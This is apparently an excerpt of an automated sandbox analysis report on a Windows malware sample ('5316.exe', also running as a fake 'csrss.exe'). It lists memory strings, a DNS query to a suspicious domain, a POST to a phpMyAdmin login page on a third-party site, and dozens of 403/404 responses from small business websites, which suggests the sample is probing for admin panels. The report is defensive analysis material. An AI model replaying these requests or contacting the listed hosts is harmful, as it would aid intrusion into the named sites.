Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp, 5316.exe, 00000007.00000002.2884998984.0000000002A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US" > equals www.facebook.com (Facebook)
Source: 5316.exe, 00000007.00000002.2873592935.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4115690481.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: www.google.com,www.mit.edu,www.yahoo.com,www.slashdot.org equals www.yahoo.com (Yahoo)
Source: 5316.exe, 00000007.00000002.2884725697.00000000026B0000.00000004.00000020.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4121538778.0000000002812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.yahoo.com equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: onualituyrs.org

Source: unknown

HTTP traffic detected: POST /phpmyadmin/index.php HTTP/1.1Host: entexclusives.comAccept: */*Accept-Encoding: deflate, gzipCookie: phpMyAdmin_https=i2t73nslli16b0kto0bhlqjrd5; pma_lang_https=enUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://entexclusives.com/phpmyadmin/Content-Length: 173Content-Type: application/x-www-form-urlencoded

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: cloudflareDate: Wed, 20 Dec 2023 02:13:20 GMTContent-Type: text/htmlContent-Length: 151Connection: closeCF-RAY: 83845d922ac69ac0-MIA
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:20 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:20 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCache-Control: privateSet-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.netX-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7zRDQX%2FpSumFFp4xbizCuRVsJWotZ8YPFdFmn6Y12SyykqMZvMpeR0vIHiYUX2CheQqsn%2FkbZejPBXemcdDQHZcmFDar3LvIg1OGAShiYnKyuhFpPTr8WhTnjdXaZ80ri9g%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845d9108436c88-MIAalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 1271Connection: closeDate: Wed, 20 Dec 2023 02:13:20 GMTServer: ApacheX-Frame-Options: deny
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 312X-Sorting-Hat-ShopId: 1584544X-Storefront-Renderer-Rendered: 1ETag: W/"cacheable:603c2f6ba8dec2a54d03484291e7a592"Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginSet-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:20 GMTSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:20 GMT; SameSite=LaxSet-Cookie: _shopify_y=5df8d8bd-f19d-4119-9e10-297449384ff8; Expires=Thu, 19-Dec-24 02:13:20 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxSet-Cookie: _shopify_s=43f457cb-a51f-4670-9ec9-5b6bb1b34b71; Expires=Wed, 20-Dec-23 02:43:20 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxX-Cache: hit, serverX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 1584544X-ShardId: 312Vary: AcceptContent-Language: enpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 20 Dec 2023 02:13:20 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UDS0Sds8fhYFCxZhQL6TtrSe6B1XoKYaeZC1IWPRDTYlLopBj5GR9wc6Jxj9oOpAZ0oj8rrTD%2BJXQGyILaSXkI4yNDY%2BTRgdtssAFyKv0zW3ygzCOXdM80x%2F9BCctI9Q"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845d94a8e05c70-MIAalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:20 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9X-Powered-By: PHP/5.4.16Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:21 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:21 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: ubBT0RQi/IIr1YNymConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:21 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://twohillsstudio.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2Connection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=fb320fdfc8e6c01420a5f6689e0eb7b9; expires=Wed, 20-Dec-2023 03:13:21 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=LaxPragma: no-cacheCache-Control: max-age=0, must-revalidate, no-cache, no-storeExpires: Mon, 19 Dec 2022 17:32:39 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:21 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1699Content-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:21 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: en
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidate, max-age=0Content-Type: text/html; charset=UTF-8Expires: Wed, 11 Jan 1984 05:00:00 GMTServer: Microsoft-IIS/10.0X-Powered-By: PHP/7.4.2Link: <https://www.tgcan.co.uk/wp-json/>; rel="https://api.w.org/"X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:21 GMTConnection: closeContent-Length: 42039
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Wed, 20 Dec 2023 02:13:22 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:22 GMTContent-Type: text/htmlContent-Length: 678Connection: closeLast-Modified: Thu, 14 Apr 2022 01:58:45 GMTETag: "2a6-5dc93a25e36a2"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:22 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:22 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: closeVary: Accept-Encoding
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:22 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 278Connection: closeVary: Accept-EncodingVary: Accept-Encoding
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAge: 0Content-Type: text/html;charset=utf-8Date: Wed, 20 Dec 2023 02:13:22 GMTEtag: W/"6489318175bdb8a8994fb802892e57ee"Expires: Thu, 01 Jan 1970 00:00:00 GMTServer: SquarespaceSet-Cookie: crumb=BXCefCdIreo9ODA3YThlNGNkZWUyZTg4YWRmNDdhNzJlNDUzNmZk;Secure;Path=/Strict-Transport-Security: max-age=0Vary: Accept-EncodingX-Content-Type-Options: nosniffX-Contextid: eBTsfgbC/kRPpVixxConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038402.6551650886981415057Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:22 GMTX-Served-By: cache-dfw-kdfw8210024-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalvq3cKddBP6BaKhudZ7ySWnKI0QWrrlgZ7tR4O896/cHItIkCs/U86fSGfG/Wg5dOg==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,qvL1IlBGMJky1zI38Re9DZCi+DrJi6r6ocpPVESG7rc=,0gGrL7iazMoiuqlb7dEO3cDVdeO+gHjyx+eGG5eJGwDGaYceIjUV4QD2pRSaubKdhY4NbCqWhXGeRDkZ8kv3ng==Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 60X-Sorting-Hat-ShopId: 7475083Vary: Accept-EncodingVary: AcceptX-Frame-Options: DENYX-ShopId: 7475083X-ShardId: 60Content-Language: en-AUX-Liquid-Rendered-At: 2023-12-20T02:13:22.710330594ZStrict-Transport-Security: max-age=7889238Set-Cookie: localization=AU; path=/; expires=Fri, 20 Dec 2024 02:13:22 GMT; SameSite=LaxSet-Cookie: secure_customer_sig=; path=/; expires=Fri, 20 Dec 2024 02:13:22 GMT; secure; HttpOnly; SameSite=LaxSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=ecochild.com.au; path=/; expires=Thu, 21 Dec 2023 02:13:22 GMT; SameSite=LaxSet-Cookie: _shopify_y=986c823c-bca7-4440-8ba4-a7c0f42fd11c; Expires=Thu, 19-Dec-24 02:13:22 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxSet-Cookie: _shopify_s=45b1ae4b-ea13-4346-a0c4-30ace4b3496e; Expires=Wed, 20-Dec-23 02:43:22 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxServer-Timing: processing;dur=179X-Shopify-Stage: production
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheSet-Cookie: is_mobile=0; path=/; domain=www.lisvankooten.comVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:23 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:23 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: blu133.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038403.0951655100523125966Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:23 GMTX-Served-By: cache-dfw-kdfw8210041-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLg+F4RAy97FgBhKEMuS3Uv05XEckg9t2+jA6cQOj+vGJ,2d58ifebGbosy5xc+FRalpZ3H1SM8LlvouA/vOMFXIJtojEijXXFiJj75M684v5pl/vES4JMOM3CGmKb33RLVA==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,Uh3+FND4gW3xHL7Yw3zy0HOx5fM3NYGU2oh/PYLAjKs=,q5T+u6/UFaLKF5MwuqQmpJiLcxhI56TnRMuOm6jCa0U=,0gGrL7iazMoiuqlb7dEO3X/E93jFhK4l0afl3puteNOAiU/V+bVHSMSuxcZ8nLbggcnXBFOIpm8hopJC7ovD+Q==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTContent-Type: text/html;charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 83845da25fd06dda-MIACF-Cache-Status: EXPIREDCache-Control: s-maxage=5,max-age=5Strict-Transport-Security: max-age=31536000Vary: origin, Accept-EncodingAccess-Control-Allow-Credentials: falseContent-Security-Policy: upgrade-insecure-requestsX-Content-Type-Options: nosniffx-envoy-upstream-service-time: 57x-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-evy-trace-route-service-name: envoyset-translatorx-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-wshlzx-evy-trace-virtual-host: allX-Hs-Https-Only: workerX-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMTX-HS-Reason: No view mapper found to handle requestX-HubSpot-Correlation-Id: 9371527a-01bc-4992-aad3-1d6ac04de9f6X-HubSpot-NotFound: truex-request-id: 9371527a-01bc-4992-aad3-1d6ac04de9f6X-Trace: 2B7E0E4F313D6EE1C42658B06698EC21FAEDF6A872000000000000000000Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CCmTjtVbc47LirRZLawBP7lUqzolNOU%2BoluvfUH14OhUWt%2BJEnbB%2FfYQF0JcSOL4JOXOgj2OutFk7dn7RHDzTpiVKRR7sFwXokZI%2FusBFD%2BOm56Gxvb3zDWaLciE8qg2JtujWN5IWrtO8nag6B4%3D"}],"group":"cf-nel","max_age":604800}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038403.18216550828116725972Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:23 GMTX-Served-By: cache-dfw-kdfw8210034-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLg+F4RAy97FgBhKEMuS3Uv05XEckg9t2+jA6cQOj+vGJ,2d58ifebGbosy5xc+FRalh9dSXFnbVkuWm6RM1u/98dhc6Zd1dFWeQLjaNe/maN6h3qEg9Mh7Rs5HUBYKvaWVg==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,355BgrcJIkJgSeNTU+yiMhYscfXKeVSdXiuZ84ywgZ4=,0gGrL7iazMoiuqlb7dEO3VykJBCorZ8hHkHqeS6CMYYUVEyDN3A38tMpcHZdr0TkD5hgdkM3kJ2lBxKNrxdApg==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 60X-Sorting-Hat-ShopId: 7475083Vary: Accept-EncodingVary: AcceptX-Frame-Options: DENYX-ShopId: 7475083X-ShardId: 60Content-Language: en-AUX-Liquid-Rendered-At: 2023-12-20T02:13:23.586361583ZStrict-Transport-Security: max-age=7889238Set-Cookie: localization=AU; path=/; expires=Fri, 20 Dec 2024 02:13:23 GMT; SameSite=LaxSet-Cookie: secure_customer_sig=; path=/; expires=Fri, 20 Dec 2024 02:13:23 GMT; secure; HttpOnly; SameSite=LaxSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=ecochild.com.au; path=/; expires=Thu, 21 Dec 2023 02:13:23 GMT; SameSite=LaxSet-Cookie: _shopify_y=986c823c-bca7-4440-8ba4-a7c0f42fd11c; Expires=Thu, 19-Dec-24 02:13:23 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxSet-Cookie: _shopify_s=45b1ae4b-ea13-4346-a0c4-30ace4b3496e; Expires=Wed, 20-Dec-23 02:43:23 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxServer-Timing: processing;dur=105X-Shopify-Stage: production
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038403.68816508866841315054Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:23 GMTX-Served-By: cache-dfw-kdfw8210174-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRaloR37yBwto27sHfVedTe4LpzFcK7e5XwSbSU8vWThqRqtswLYe5cSsXSAIMfjvKcQg==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,Uh3+FND4gW3xHL7Yw3zy0HOx5fM3NYGU2oh/PYLAjKs=,eeDBBxD+YVnHnsF07EtfmfAuG7xlWm190hK3ivLce/A=,0gGrL7iazMoiuqlb7dEO3ZdfI6TqbNh4OZh++xsYw0miThpsmb4Q7JPiSqMAW3s6569SoDlDV8E8KUfqEoJPbQ==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038403.7191654920550112748Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:23 GMTX-Served-By: cache-dfw-kdfw8210141-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLg+F4RAy97FgBhKEMuS3Uv0cm7On4dir39PTYYK13tG9,2d58ifebGbosy5xc+FRalpZ3H1SM8LlvouA/vOMFXIJtojEijXXFiJj75M684v5pl/vES4JMOM3CGmKb33RLVA==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,Uh3+FND4gW3xHL7Yw3zy0HOx5fM3NYGU2oh/PYLAjKs=,qvL1IlBGMJky1zI38Re9DZCi+DrJi6r6ocpPVESG7rc=,0gGrL7iazMoiuqlb7dEO3cDVdeO+gHjyx+eGG5eJGwDGaYceIjUV4QD2pRSaubKdhY4NbCqWhXGeRDkZ8kv3ng==Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=on08ovkqjgapa12lu8ta9vd420; path=/Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONSAccess-Control-Allow-Headers: x-test-header, Origin, X-Requested-With, Content-Type, AcceptVary: Accept-Encoding,User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:24 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038404.14716508723669815060Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:24 GMTX-Served-By: cache-dfw-kdfw8210061-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalpZ3H1SM8LlvouA/vOMFXIJtojEijXXFiJj75M684v5pl/vES4JMOM3CGmKb33RLVA==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,NLdhiUa+sSIsGDI1KKnLVioG5v0XsZRzDHjumEtRhsY=,355BgrcJIkJgSeNTU+yiMhYscfXKeVSdXiuZ84ywgZ4=,0gGrL7iazMoiuqlb7dEO3VykJBCorZ8hHkHqeS6CMYYUVEyDN3A38tMpcHZdr0TkD5hgdkM3kJ2lBxKNrxdApg==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 312X-Sorting-Hat-ShopId: 1584544Vary: Accept-EncodingVary: AcceptX-Frame-Options: DENYX-ShopId: 1584544X-ShardId: 312Content-Language: en-USX-Liquid-Rendered-At: 2023-12-20T02:13:24.316170113ZStrict-Transport-Security: max-age=7889238Set-Cookie: localization=US; path=/; expires=Fri, 20 Dec 2024 02:13:24 GMT; SameSite=LaxSet-Cookie: secure_customer_sig=; path=/; expires=Fri, 20 Dec 2024 02:13:24 GMT; secure; HttpOnly; SameSite=LaxSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22USNY%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:24 GMT; SameSite=LaxSet-Cookie: _shopify_y=8f3cee06-9740-4021-9ca0-e476d849f090; Expires=Thu, 19-Dec-24 02:13:24 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxSet-Cookie: _shopify_s=da286ed0-9dea-4b75-992f-3a28275da3f1; Expires=Wed, 20-Dec-23 02:43:24 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxServer-Timing: processing;dur=146X-Shopify-Stage: production
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/html;charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 83845da9fee06daa-MIACF-Cache-Status: EXPIREDCache-Control: s-maxage=5,max-age=5Strict-Transport-Security: max-age=31536000Vary: origin, Accept-EncodingAccess-Control-Allow-Credentials: falseContent-Security-Policy: upgrade-insecure-requestsX-Content-Type-Options: nosniffx-envoy-upstream-service-time: 48x-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-evy-trace-route-service-name: envoyset-translatorx-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-q8vhmx-evy-trace-virtual-host: allX-Hs-Https-Only: workerX-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMTX-HS-Reason: No view mapper found to handle requestX-HubSpot-Correlation-Id: 1c948519-9b0c-4a9e-87e5-60e5074ebe30X-HubSpot-NotFound: truex-request-id: 1c948519-9b0c-4a9e-87e5-60e5074ebe30X-Trace: 2B7ABA68E118E36355EDF50A3F900EC5602E9545A2000000000000000000Report-To: 